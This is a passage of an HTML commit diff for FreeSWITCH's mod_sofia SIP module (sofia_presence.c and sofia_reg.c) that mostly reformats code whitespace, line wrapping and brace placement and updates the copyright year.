+                                                                 event, contact_str, call_id, full_from, full_via,
</ins><span class="cx">                                                                  //sofia_test_pflag(profile, PFLAG_MULTIREG) ? switch_epoch_time_now(NULL) + exp_delta : exp_delta * -1,
</span><del>-                                                                 (long)switch_epoch_time_now(NULL) + (exp_delta * 2),
-                                                                 full_agent, accept, profile->name,mod_sofia_globals.hostname, network_port, network_ip);
-                                                                
</del><ins>+                                                                 (long) switch_epoch_time_now(NULL) + (exp_delta * 2),
+                                                                 full_agent, accept, profile->name, mod_sofia_globals.hostname, network_port, network_ip);
+
</ins><span class="cx">                         switch_assert(sql != NULL);
</span><span class="cx">
</span><span class="cx">                         if (mod_sofia_globals.debug_presence > 0 || mod_sofia_globals.debug_sla > 0) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "%s SUBSCRIBE %s@%s %s@%s\n%s\n",
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "%s SUBSCRIBE %s@%s %s@%s\n%s\n",
</ins><span class="cx">                                                                  profile->name, from_user, from_host, to_user, to_host, sql);
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -1957,21 +1902,15 @@
</span><span class="cx">                 if (status < 200) {
</span><span class="cx">                         char *sticky = NULL;
</span><span class="cx">                         char *contactstr = profile->url;
</span><del>-                        char *p = NULL, *new_contactstr = NULL;
-                        
</del><ins>+                        char *p = NULL, *new_contactstr = NULL;
+
</ins><span class="cx">                         if (is_nat) {
</span><span class="cx">                                 char params[128] = "";
</span><span class="cx">                                 if (contact->m_url->url_params) {
</span><span class="cx">                                         switch_snprintf(params, sizeof(params), ";%s", contact->m_url->url_params);
</span><span class="cx">                                 }
</span><span class="cx">                                 ipv6 = strchr(network_ip, ':');
</span><del>-                                sticky = switch_mprintf("sip:%s@%s%s%s:%d%s",
-                                                                                contact_user,
-                                                                                ipv6 ? "[" : "",
-                                                                                network_ip,
-                                                                                ipv6 ? "]" : "",
-                                                                                network_port,
-                                                                                params);
</del><ins>+                                sticky = switch_mprintf("sip:%s@%s%s%s:%d%s", contact_user, ipv6 ? "[" : "", network_ip, ipv6 ? "]" : "", network_port, params);
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (is_auto_nat) {
</span><span class="lines">@@ -1980,7 +1919,7 @@
</span><span class="cx">                                 contactstr = profile->url;
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_stristr("port=tcp", contact->m_url->url_params)) {
</span><span class="cx">                                 if (is_auto_nat) {
</span><span class="cx">                                         contactstr = profile->tcp_public_contact;
</span><span class="lines">@@ -2002,15 +1941,12 @@
</span><span class="cx">
</span><span class="cx">                         if ((p = strchr(contactstr, '@'))) {
</span><span class="cx">                                 new_contactstr = switch_mprintf("sip:%s%s", to_user, p);
</span><del>-                        }
</del><ins>+                        }
</ins><span class="cx">
</span><span class="cx">                         nua_respond(nh, SIP_202_ACCEPTED,
</span><span class="cx">                                                 SIPTAG_CONTACT_STR(new_contactstr),
</span><del>-                                                NUTAG_WITH_THIS(nua),
-                                                SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
-                                                SIPTAG_EXPIRES_STR(exp_delta_str),
-                                                TAG_IF(sticky, NUTAG_PROXY(sticky)),
-                                                TAG_END());
</del><ins>+                                                NUTAG_WITH_THIS(nua),
+                                                SIPTAG_SUBSCRIPTION_STATE_STR(sstr), SIPTAG_EXPIRES_STR(exp_delta_str), TAG_IF(sticky, NUTAG_PROXY(sticky)), TAG_END());
</ins><span class="cx">
</span><span class="cx">                         switch_safe_free(new_contactstr);
</span><span class="cx">                         switch_safe_free(sticky);
</span><span class="lines">@@ -2028,22 +1964,18 @@
</span><span class="cx">
</span><span class="cx">                                 nua_notify(nh,
</span><span class="cx">                                                  SIPTAG_EXPIRES_STR("0"),
</span><del>-                                                 SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
-                                                 TAG_IF(full_call_info, SIPTAG_CALL_INFO_STR(full_call_info)),
-                                                 TAG_END());
</del><ins>+                                                 SIPTAG_SUBSCRIPTION_STATE_STR(sstr), TAG_IF(full_call_info, SIPTAG_CALL_INFO_STR(full_call_info)), TAG_END());
</ins><span class="cx">
</span><del>-                        
</del><ins>+
</ins><span class="cx">                                 if (!strcasecmp(event, "line-seize")) {
</span><span class="cx">                                         if (mod_sofia_globals.debug_sla > 1) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "CANCEL LINE SEIZE\n");
</span><span class="cx">                                         }
</span><span class="cx">
</span><span class="cx">                                         sql = switch_mprintf("delete from sip_dialogs where sip_from_user='%q' and sip_from_host='%q' and call_info_state='seized'",
</span><del>-                                                                                 to_user,
-                                                                                 to_host
-                                                                                 );
</del><ins>+                                                                                 to_user, to_host);
</ins><span class="cx">
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (mod_sofia_globals.debug_sla > 1) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "CLEAR SQL %s\n", sql);
</span><span class="cx">                                         }
</span><span class="lines">@@ -2071,7 +2003,7 @@
</span><span class="cx">                         } else if (!strcasecmp(event, "line-seize")) {
</span><span class="cx">                                 char *full_call_info = NULL;
</span><span class="cx">                                 char *p;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (sip->sip_call_info) {
</span><span class="cx">                                         full_call_info = sip_header_as_string(profile->home, (void *) sip->sip_call_info);
</span><span class="cx">                                         if ((p = strchr(full_call_info, ';'))) {
</span><span class="lines">@@ -2081,31 +2013,22 @@
</span><span class="cx">                                         nua_notify(nh,
</span><span class="cx">                                                          SIPTAG_EXPIRES_STR(exp_delta_str),
</span><span class="cx">                                                          SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
</span><del>-                                                         SIPTAG_EVENT_STR("line-seize"),
-                                                         TAG_IF(full_call_info, SIPTAG_CALL_INFO_STR(full_call_info)),
-                                                         TAG_END());
</del><ins>+                                                         SIPTAG_EVENT_STR("line-seize"), TAG_IF(full_call_info, SIPTAG_CALL_INFO_STR(full_call_info)), TAG_END());
</ins><span class="cx">
</span><span class="cx">
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         sql = switch_mprintf("delete from sip_dialogs where sip_from_user='%q' and sip_from_host='%q' and call_info_state='seized'",
</span><del>-                                                                                 to_user,
-                                                                                 to_host
-                                                                                 );
</del><ins>+                                                                                 to_user, to_host);
</ins><span class="cx">
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (mod_sofia_globals.debug_sla > 1) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "CLEAR SQL %s\n", sql);
</span><span class="cx">                                         }
</span><span class="cx">                                         sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         sql = switch_mprintf("insert into sip_dialogs (sip_from_user,sip_from_host,call_info,call_info_state,hostname,expires) "
</span><span class="cx">                                                                                  "values ('%q','%q','%q','seized','%q',%ld)",
</span><del>-                                                                                 to_user,
-                                                                                 to_host,
-                                                                                 switch_str_nil(p),
-                                                                                 mod_sofia_globals.hostname,
-                                                                                 switch_epoch_time_now(NULL) + exp_delta
-                                                                                 );
</del><ins>+                                                                                 to_user, to_host, switch_str_nil(p), mod_sofia_globals.hostname, switch_epoch_time_now(NULL) + exp_delta);
</ins><span class="cx">
</span><span class="cx">                                         if (mod_sofia_globals.debug_sla > 1) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "SEIZE SQL %s\n", sql);
</span><span class="lines">@@ -2124,15 +2047,13 @@
</span><span class="cx">
</span><span class="cx">                 switch_safe_free(sstr);
</span><span class="cx">
</span><del>-                if (!strcasecmp(event, "message-summary")) {                
-                        if ((sql = switch_mprintf(
-                                                                         "select proto,sip_user,'%q',sub_to_user,sub_to_host,event,contact,call_id,full_from,"
</del><ins>+                if (!strcasecmp(event, "message-summary")) {
+                        if ((sql = switch_mprintf("select proto,sip_user,'%q',sub_to_user,sub_to_host,event,contact,call_id,full_from,"
</ins><span class="cx">                                                                          "full_via,expires,user_agent,accept,profile_name,network_ip"
</span><span class="cx">                                                                          " from sip_subscriptions where expires > -1 and event='message-summary' and sip_user='%q' "
</span><del>-                                                                         "and (sip_host='%q' or presence_hosts like '%%%q%%')",
-                                                                         to_host, to_user, to_host, to_host))) {
</del><ins>+                                                                         "and (sip_host='%q' or presence_hosts like '%%%q%%')", to_host, to_user, to_host, to_host))) {
</ins><span class="cx">                                 sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, sofia_presence_sub_reg_callback, profile);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_safe_free(sql);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -2162,7 +2083,8 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-sofia_gateway_subscription_t *sofia_find_gateway_subscription(sofia_gateway_t *gateway_ptr, const char *event) {
</del><ins>+sofia_gateway_subscription_t *sofia_find_gateway_subscription(sofia_gateway_t *gateway_ptr, const char *event)
+{
</ins><span class="cx">         sofia_gateway_subscription_t *gw_sub_ptr;
</span><span class="cx">         for (gw_sub_ptr = gateway_ptr->subscriptions; gw_sub_ptr; gw_sub_ptr = gw_sub_ptr->next) {
</span><span class="cx">                 if (!strcasecmp(gw_sub_ptr->event, event)) {
</span><span class="lines">@@ -2180,7 +2102,7 @@
</span><span class="cx"> {
</span><span class="cx">         sip_event_t const *o = NULL;
</span><span class="cx">         sofia_gateway_subscription_t *gw_sub_ptr;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!sip) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -2204,14 +2126,14 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Gateway information missing\n");
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Find the subscription if one exists */
</span><span class="cx">         if (!(gw_sub_ptr = sofia_find_gateway_subscription(sofia_private->gateway, o->o_type))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Could not find gateway subscription. Gateway: %s. Subscription Event: %s\n",
</span><del>-                                sofia_private->gateway->name, o->o_type);
</del><ins>+                                                 sofia_private->gateway->name, o->o_type);
</ins><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Update the subscription status for the subscription */
</span><span class="cx">         switch (status) {
</span><span class="cx">         case 200:
</span><span class="lines">@@ -2228,7 +2150,7 @@
</span><span class="cx">         default:
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "status (%d) != 200, updated state to SUB_STATE_FAILED.\n", status);
</span><span class="cx">                 gw_sub_ptr->state = SUB_STATE_FAILED;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sofia_private) {
</span><span class="cx">                         nua_handle_destroy(sofia_private->gateway->sub_nh);
</span><span class="cx">                         sofia_private->gateway->sub_nh = NULL;
</span><span class="lines">@@ -2283,7 +2205,7 @@
</span><span class="cx">                                 if (sip->sip_user_agent) {
</span><span class="cx">                                         full_agent = sip_header_as_string(profile->home, (void *) sip->sip_user_agent);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((tuple = switch_xml_child(xml, "tuple")) && (status = switch_xml_child(tuple, "status"))
</span><span class="cx">                                         && (basic = switch_xml_child(status, "basic"))) {
</span><span class="cx">                                         status_txt = basic->txt;
</span><span class="lines">@@ -2317,19 +2239,17 @@
</span><span class="cx">
</span><span class="cx">                                 if ((sql =
</span><span class="cx">                                          switch_mprintf("delete from sip_presence where sip_user='%q' and sip_host='%q' "
</span><del>-                                                                        " and profile_name='%q' and hostname='%q'",
-                                                                        from_user, from_host, profile->name, mod_sofia_globals.hostname
-                                                                        ))) {
</del><ins>+                                                                        " and profile_name='%q' and hostname='%q'", from_user, from_host, profile->name, mod_sofia_globals.hostname))) {
</ins><span class="cx">                                         sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
</span><span class="cx">                                 }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 if ((sql =
</span><span class="cx">                                          switch_mprintf("insert into sip_presence (sip_user, sip_host, status, rpid, expires, user_agent, profile_name, hostname) "
</span><span class="cx">                                                                         "values ('%q','%q','%q','%q',%ld,'%q','%q','%q')",
</span><span class="cx">                                                                         from_user, from_host, note_txt, rpid, exp, full_agent, profile->name, mod_sofia_globals.hostname))) {
</span><span class="cx">                                         sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 event_type = sip_header_as_string(profile->home, (void *) sip->sip_event);
</span><span class="cx">
</span><span class="cx">                                 if (in) {
</span><span class="lines">@@ -2442,7 +2362,7 @@
</span><span class="cx">                                 switch_copy_string(proto, to_user, sizeof(proto));
</span><span class="cx">                                 p = strchr(proto, '+');
</span><span class="cx">                                 *p++ = '\0';
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((to_addr = strdup(p))) {
</span><span class="cx">                                         if ((p = strchr(to_addr, '+'))) {
</span><span class="cx">                                                 *p = '@';
</span><span class="lines">@@ -2467,7 +2387,7 @@
</span><span class="cx">                                         if (msg) {
</span><span class="cx">                                                 switch_event_add_body(event, "%s", msg);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (switch_core_session_queue_event(tech_pvt->session, &event) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "delivery-failure", "true");
</span><span class="cx">                                                 switch_event_fire(&event);
</span><span class="lines">@@ -2491,7 +2411,7 @@
</span><span class="cx">         char buf[512];
</span><span class="cx">         su_home_t *home = NULL;
</span><span class="cx">
</span><del>-        if (!tech_pvt || tech_pvt->hash_key || !sip || !sip->sip_from || !sip->sip_from->a_url ||
</del><ins>+        if (!tech_pvt || tech_pvt->hash_key || !sip || !sip->sip_from || !sip->sip_from->a_url ||
</ins><span class="cx">                 !sip->sip_from->a_url->url_user || !sip->sip_from->a_url->url_host) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -2507,7 +2427,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(tech_pvt->profile->flag_mutex);
</span><span class="cx">         tech_pvt->hash_key = switch_core_session_strdup(tech_pvt->session, hash_key);
</span><span class="cx">         switch_core_hash_insert(tech_pvt->profile->chat_hash, tech_pvt->hash_key, tech_pvt);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_sofiasofia_regc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_reg.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_reg.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_reg.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -58,7 +58,7 @@
</span><span class="cx">                         switch_assert(gateway_ptr->sofia_private);
</span><span class="cx">                 }
</span><span class="cx">                 memset(gateway_ptr->sofia_private, 0, sizeof(*gateway_ptr->sofia_private));
</span><del>-        
</del><ins>+
</ins><span class="cx">                 gateway_ptr->sofia_private->gateway = gateway_ptr;
</span><span class="cx">                 nua_handle_bind(gateway_ptr->nh, gateway_ptr->sofia_private);
</span><span class="cx">         }
</span><span class="lines">@@ -74,26 +74,24 @@
</span><span class="cx">                 }
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /*
</span><del>-        if (!gateway_ptr->nh) {
-                sofia_reg_new_handle(gateway_ptr, SWITCH_FALSE);
-        }
-        */
</del><ins>+         if (!gateway_ptr->nh) {
+         sofia_reg_new_handle(gateway_ptr, SWITCH_FALSE);
+         }
+         */
</ins><span class="cx">
</span><span class="cx">         if (gateway_ptr->nh) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "UN-Registering %s\n", gateway_ptr->name);
</span><del>-                nua_unregister(gateway_ptr->nh,
-                                         NUTAG_URL(gateway_ptr->register_url),
-                                         NUTAG_REGISTRAR(gateway_ptr->register_proxy),
-                                         TAG_END());
</del><ins>+                nua_unregister(gateway_ptr->nh, NUTAG_URL(gateway_ptr->register_url), NUTAG_REGISTRAR(gateway_ptr->register_proxy), TAG_END());
</ins><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><span class="cx">
</span><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><del>-static void sofia_reg_fire_custom_gateway_state_event(sofia_gateway_t *gateway, int status, const char *phrase) {
</del><ins>+static void sofia_reg_fire_custom_gateway_state_event(sofia_gateway_t *gateway, int status, const char *phrase)
+{
</ins><span class="cx">         switch_event_t *s_event;
</span><span class="cx">         if (switch_event_create_subclass(&s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_GATEWAY_STATE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "Gateway", gateway->name);
</span><span class="lines">@@ -132,7 +130,7 @@
</span><span class="cx">          * header (which we control in the outgoing subscription request)
</span><span class="cx">          */
</span><span class="cx">         sofia_gateway_t *gateway_ptr;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (gateway_ptr = profile->gateways; gateway_ptr; gateway_ptr = gateway_ptr->next) {
</span><span class="cx">                 sofia_gateway_subscription_t *gw_sub_ptr;
</span><span class="cx">
</span><span class="lines">@@ -140,7 +138,7 @@
</span><span class="cx">                         int ss_state = nua_callstate_authenticating;
</span><span class="cx">                         sub_state_t ostate = gw_sub_ptr->state;
</span><span class="cx">                         char *user_via = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!now) {
</span><span class="cx">                                 gw_sub_ptr->state = ostate = SUB_STATE_UNSUBED;
</span><span class="cx">                                 gw_sub_ptr->expires_str = "0";
</span><span class="lines">@@ -167,38 +165,27 @@
</span><span class="cx">                                                                 SIPTAG_EVENT_STR(gw_sub_ptr->event),
</span><span class="cx">                                                                 SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
</span><span class="cx">                                                                 SIPTAG_TO_STR(gateway_ptr->register_from),
</span><del>-                                                                SIPTAG_FROM_STR(gateway_ptr->register_from),
-                                                                SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
-                                                                TAG_NULL());
-                                
</del><ins>+                                                                SIPTAG_FROM_STR(gateway_ptr->register_from), SIPTAG_CONTACT_STR(gateway_ptr->register_contact), TAG_NULL());
+
</ins><span class="cx">                                 break;
</span><span class="cx">                         case SUB_STATE_UNSUBED:
</span><span class="cx">                                 gateway_ptr->sub_nh = nua_handle(gateway_ptr->profile->nua, NULL,
</span><span class="cx">                                                                                                  NUTAG_URL(gateway_ptr->register_proxy),
</span><span class="cx">                                                                                                  TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
</span><span class="cx">                                                                                                  SIPTAG_TO_STR(gateway_ptr->register_to),
</span><del>-                                                                                                 NUTAG_CALLSTATE_REF(ss_state),
-                                                                                                 SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END());
</del><ins>+                                                                                                 NUTAG_CALLSTATE_REF(ss_state), SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END());
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "subscribing to [%s] on gateway [%s]\n", gw_sub_ptr->event, gateway_ptr->name);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 gateway_ptr->sofia_private = malloc(sizeof(*gateway_ptr->sofia_private));
</span><span class="cx">                                 switch_assert(gateway_ptr->sofia_private);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 memset(gateway_ptr->sofia_private, 0, sizeof(*gateway_ptr->sofia_private));
</span><span class="cx">
</span><span class="cx">                                 gateway_ptr->sofia_private->gateway = gateway_ptr;
</span><span class="cx">                                 nua_handle_bind(gateway_ptr->nh, gateway_ptr->sofia_private);
</span><span class="cx">
</span><span class="cx">                                 if (now) {
</span><del>-                                        nua_subscribe(gateway_ptr->sub_nh,
-                                                                 NUTAG_URL(gateway_ptr->register_url),
-                                                                 TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
-                                                                 SIPTAG_EVENT_STR(gw_sub_ptr->event),
-                                                                 SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
-                                                                 SIPTAG_TO_STR(gateway_ptr->register_from),
-                                                                 SIPTAG_FROM_STR(gateway_ptr->register_from),
-                                                                 SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
-                                                                 SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str), // sofia stack bases its auto-refresh stuff on this
</del><ins>+                                        nua_subscribe(gateway_ptr->sub_nh, NUTAG_URL(gateway_ptr->register_url), TAG_IF(user_via, SIPTAG_VIA_STR(user_via)), SIPTAG_EVENT_STR(gw_sub_ptr->event), SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type), SIPTAG_TO_STR(gateway_ptr->register_from), SIPTAG_FROM_STR(gateway_ptr->register_from), SIPTAG_CONTACT_STR(gateway_ptr->register_contact), SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str),        // sofia stack bases its auto-refresh stuff on this
</ins><span class="cx">                                                                  TAG_NULL());
</span><span class="cx">                                         gw_sub_ptr->retry = now + gw_sub_ptr->retry_seconds;
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -209,13 +196,11 @@
</span><span class="cx">                                                                         SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
</span><span class="cx">                                                                         SIPTAG_FROM_STR(gateway_ptr->register_from),
</span><span class="cx">                                                                         SIPTAG_TO_STR(gateway_ptr->register_from),
</span><del>-                                                                        SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
-                                                                        SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str),
-                                                                        TAG_NULL());
</del><ins>+                                                                        SIPTAG_CONTACT_STR(gateway_ptr->register_contact), SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str), TAG_NULL());
</ins><span class="cx">                                 }
</span><span class="cx">                                 gw_sub_ptr->state = SUB_STATE_TRYING;
</span><span class="cx">                                 break;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         case SUB_STATE_FAILED:
</span><span class="cx">                         case SUB_STATE_TRYING:
</span><span class="cx">                                 if (gw_sub_ptr->retry && now >= gw_sub_ptr->retry) {
</span><span class="lines">@@ -294,13 +279,11 @@
</span><span class="cx">                         nua_handle_bind(nh, pvt);
</span><span class="cx">
</span><span class="cx">                         gateway_ptr->pinging = 1;
</span><del>-                        nua_options(nh,
</del><ins>+                        nua_options(nh,
</ins><span class="cx">                                                 TAG_IF(gateway_ptr->register_sticky_proxy, NUTAG_PROXY(gateway_ptr->register_sticky_proxy)),
</span><span class="cx">                                                 TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
</span><span class="cx">                                                 SIPTAG_TO_STR(gateway_ptr->register_from),
</span><del>-                                                SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
-                                                SIPTAG_FROM_STR(gateway_ptr->register_from),
-                                                TAG_END());
</del><ins>+                                                SIPTAG_CONTACT_STR(gateway_ptr->register_contact), SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END());
</ins><span class="cx">
</span><span class="cx">                         switch_safe_free(user_via);
</span><span class="cx">                         user_via = NULL;
</span><span class="lines">@@ -336,15 +319,16 @@
</span><span class="cx">                 case REG_STATE_UNREGED:
</span><span class="cx">                         gateway_ptr->status = SOFIA_GATEWAY_DOWN;
</span><span class="cx">                         gateway_ptr->retry = 0;
</span><del>-                        
-                        if (!gateway_ptr->nh) sofia_reg_new_handle(gateway_ptr, now ? 1 : 0);
</del><span class="cx">
</span><ins>+                        if (!gateway_ptr->nh)
+                                sofia_reg_new_handle(gateway_ptr, now ? 1 : 0);
+
</ins><span class="cx">                         if (sofia_glue_check_nat(gateway_ptr->profile, gateway_ptr->register_proxy)) {
</span><span class="cx">                                 user_via = sofia_glue_create_external_via(NULL, gateway_ptr->profile, gateway_ptr->register_transport);
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Registering %s\n", gateway_ptr->name);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (now) {
</span><span class="cx">                                 nua_register(gateway_ptr->nh,
</span><span class="cx">                                                          NUTAG_URL(gateway_ptr->register_url),
</span><span class="lines">@@ -352,7 +336,7 @@
</span><span class="cx">                                                          TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
</span><span class="cx">                                                          SIPTAG_TO_STR(gateway_ptr->distinct_to ? gateway_ptr->register_to : gateway_ptr->register_from),
</span><span class="cx">                                                          SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
</span><del>-                                                         SIPTAG_FROM_STR(gateway_ptr->register_from),                                        
</del><ins>+                                                         SIPTAG_FROM_STR(gateway_ptr->register_from),
</ins><span class="cx">                                                          SIPTAG_EXPIRES_STR(gateway_ptr->expires_str),
</span><span class="cx">                                                          NUTAG_REGISTRAR(gateway_ptr->register_proxy),
</span><span class="cx">                                                          NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
</span><span class="lines">@@ -368,7 +352,7 @@
</span><span class="cx">                                                          NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
</span><span class="cx">                         }
</span><span class="cx">                         gateway_ptr->retry = now + gateway_ptr->retry_seconds;
</span><del>-                        gateway_ptr->state = REG_STATE_TRYING;                        
</del><ins>+                        gateway_ptr->state = REG_STATE_TRYING;
</ins><span class="cx">                         switch_safe_free(user_via);
</span><span class="cx">                         user_via = NULL;
</span><span class="cx">                         break;
</span><span class="lines">@@ -379,16 +363,16 @@
</span><span class="cx">
</span><span class="cx">                                 if (gateway_ptr->failure_status == 503) {
</span><span class="cx">                                         sec = gateway_ptr->retry_seconds;
</span><del>-                                } else{
</del><ins>+                                } else {
</ins><span class="cx">                                         sec = gateway_ptr->retry_seconds * (gateway_ptr->failures + 1);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 gateway_ptr->retry = switch_epoch_time_now(NULL) + sec;
</span><span class="cx">                                 gateway_ptr->status = SOFIA_GATEWAY_DOWN;
</span><span class="cx">                                 gateway_ptr->state = REG_STATE_FAIL_WAIT;
</span><span class="cx">                                 gateway_ptr->failure_status = 0;
</span><span class="cx">
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s Failed Registration, setting retry to %d seconds.\n",
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s Failed Registration, setting retry to %d seconds.\n",
</ins><span class="cx">                                                                  gateway_ptr->name, sec);
</span><span class="cx">
</span><span class="cx">                         }
</span><span class="lines">@@ -436,12 +420,10 @@
</span><span class="cx">         dst = sofia_glue_get_destination(argv[3]);
</span><span class="cx">         switch_assert(dst);
</span><span class="cx">
</span><del>-        nh = nua_handle(profile->nua, NULL, SIPTAG_FROM_STR(profile->url), SIPTAG_TO_STR(to), NUTAG_URL(dst->contact), SIPTAG_CONTACT_STR(profile->url), TAG_END());
</del><ins>+        nh = nua_handle(profile->nua, NULL, SIPTAG_FROM_STR(profile->url), SIPTAG_TO_STR(to), NUTAG_URL(dst->contact), SIPTAG_CONTACT_STR(profile->url),
+                                        TAG_END());
</ins><span class="cx">         nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
</span><del>-        nua_options(nh,
-                                TAG_IF(dst->route_uri, NUTAG_PROXY(dst->route_uri)),
-                                TAG_IF(dst->route, SIPTAG_ROUTE_STR(dst->route)),
-                                TAG_END());
</del><ins>+        nua_options(nh, TAG_IF(dst->route_uri, NUTAG_PROXY(dst->route_uri)), TAG_IF(dst->route, SIPTAG_ROUTE_STR(dst->route)), TAG_END());
</ins><span class="cx">
</span><span class="cx">         sofia_glue_free_destination(dst);
</span><span class="cx">
</span><span class="lines">@@ -462,7 +444,8 @@
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent, const char *network_ip)
</del><ins>+void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent,
+                                                 const char *network_ip)
</ins><span class="cx"> {
